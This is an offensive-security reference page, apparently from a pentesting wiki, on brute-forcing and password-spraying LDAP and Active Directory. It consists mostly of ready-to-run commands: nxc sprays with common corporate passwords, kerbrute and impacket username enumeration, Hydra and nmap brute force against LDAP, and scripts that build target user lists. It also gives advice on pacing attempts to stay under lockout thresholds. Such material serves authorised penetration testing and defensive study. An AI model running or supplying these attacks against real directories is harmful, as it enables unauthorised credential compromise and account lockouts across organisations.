# LDAP Brute Force and Password Spraying

> Exploit LDAP authentication via brute force and password spraying techniques to enumerate valid credentials against directory services.

- **URL:** https://hackindex.io/services/ldap/exploitation/brute-force
- **Path:** LDAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ldap/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

LDAP binds authenticate credentials directly against the directory. This makes LDAP a reliable channel for password spraying and brute forcing: a successful bind means the credentials are valid domain credentials usable across all services. Always check the password policy before attempting any credential attacks to avoid account lockouts.

## Check lockout policy first

Never spray or brute force before confirming the lockout threshold. A single miscalculation here locks out accounts across the entire domain.

**Password policy check before attacking**

```bash
# Anonymous: if anonymous bind is allowed
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domain)" lockoutThreshold lockoutDuration lockoutObservationWindow minPwdLength

# Authenticated: with any valid credentials
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" lockoutThreshold lockoutDuration lockoutObservationWindow

# nxc
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --pass-pol
# lockoutThreshold: 5
# lockoutDuration: -18000000000
# lockoutObservationWindow: -18000000000
```

`lockoutThreshold: 5` means 5 failed attempts locks the account. `lockoutDuration` and `lockoutObservationWindow` in negative values are intervals: divide by -10000000 to get seconds. A value of -18000000000 is 1800 seconds (30 minutes). With a threshold of 5 and 30-minute window, you can attempt 4 passwords per account per 30 minutes safely.

`lockoutThreshold: 0` means no lockout: brute force freely.

## Password spraying with nxc

Spraying tests one password against many accounts. It is the safest approach when a lockout policy exists: one attempt per account stays well under any threshold.

**Password spraying with nxc**

```bash
# Single password against all users
nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success

# Common corporate patterns
nxc ldap $TARGET_IP -u users.txt -p 'Company2024!' --continue-on-success
nxc ldap $TARGET_IP -u users.txt -p 'Welcome1' --continue-on-success
nxc ldap $TARGET_IP -u users.txt -p 'Summer2024!' --continue-on-success

# Spray with multiple passwords: watch lockout count
nxc ldap $TARGET_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# --no-bruteforce pairs each user with each password (spray) vs trying all passwords per user (brute)

# Test with empty password
nxc ldap $TARGET_IP -u users.txt -p '' --continue-on-success
# LDAP  10.10.10.10  389  DC01  [-] corp.local\jsmith:Password123! 
# LDAP  10.10.10.10  389  DC01  [-] corp.local\tharris:Password123!
# LDAP  10.10.10.10  389  DC01  [+] corp.local\mwilson:Password123!
```

A `[+]` result means valid credentials. `STATUS_ACCOUNT_LOCKED_OUT` in the output means you have triggered a lockout: stop immediately and wait for the observation window to reset. `STATUS_PASSWORD_MUST_CHANGE` means valid credentials but the password has expired.

## Username enumeration without credentials

On some configurations, LDAP returns different error codes for valid versus invalid usernames even when authentication fails. This allows username enumeration before spraying.

**Username enumeration via bind response**

```bash
# kerbrute: Kerberos-based username enumeration (more reliable than LDAP)
kerbrute userenum -d $DOMAIN --dc $TARGET_IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# impacket GetNPUsers: validates usernames via AS-REQ (no password needed)
impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# nxc LDAP username validation
nxc ldap $TARGET_IP -u /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' 2>&1 | grep -v 'STATUS_LOGON_FAILURE'
```

## Targeted brute force: single account, no lockout

Only run a full brute force when lockout is confirmed as disabled or when targeting a specific account with confirmed no-lockout policy (service accounts sometimes have this configured).

**Brute force with Hydra**

```bash
# LDAP brute force with Hydra
hydra -l $USER -P /usr/share/wordlists/rockyou.txt ldap2://$TARGET_IP -V

# With domain format
hydra -l "$DOMAIN\\$USER" -P /usr/share/wordlists/rockyou.txt ldap2://$TARGET_IP

# LDAPS
hydra -l $USER -P /usr/share/wordlists/rockyou.txt ldap2s://$TARGET_IP

# nmap brute force script
nmap -p 389 --script ldap-brute --script-args ldap.base="$BASE_DN",brute.mode=user,ldap.method=auto $TARGET_IP
```

Hydra's `ldap2` module uses simple bind authentication. On Active Directory this works for domain accounts. On OpenLDAP use the full DN format: `-l "cn=admin,dc=corp,dc=local"`.

## Username list sources

A targeted username list dramatically improves spray success rate over a generic wordlist. Build yours from:

- LDAP anonymous enumeration (best source when available)
- SMB null session user enumeration
- Kerberos username enumeration with kerbrute
- OSINT and email pattern guessing
- Web application user disclosure

**Build username list from LDAP**

```bash
# From anonymous LDAP dump
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | grep -v '\$$' > users.txt

# From nxc
nxc ldap $TARGET_IP -u '' -p '' --users | grep -oP '\\\\\K[^\s]+' > users.txt

# Verify list
wc -l users.txt
head users.txt
```

## References

- [NetExec: GitHub](https://github.com/Pennyw0rth/NetExec) - LDAP password spraying and pass-pol module
- [kerbrute: GitHub](https://github.com/ropnop/kerbrute) - Fast Kerberos-based username enumeration and spraying
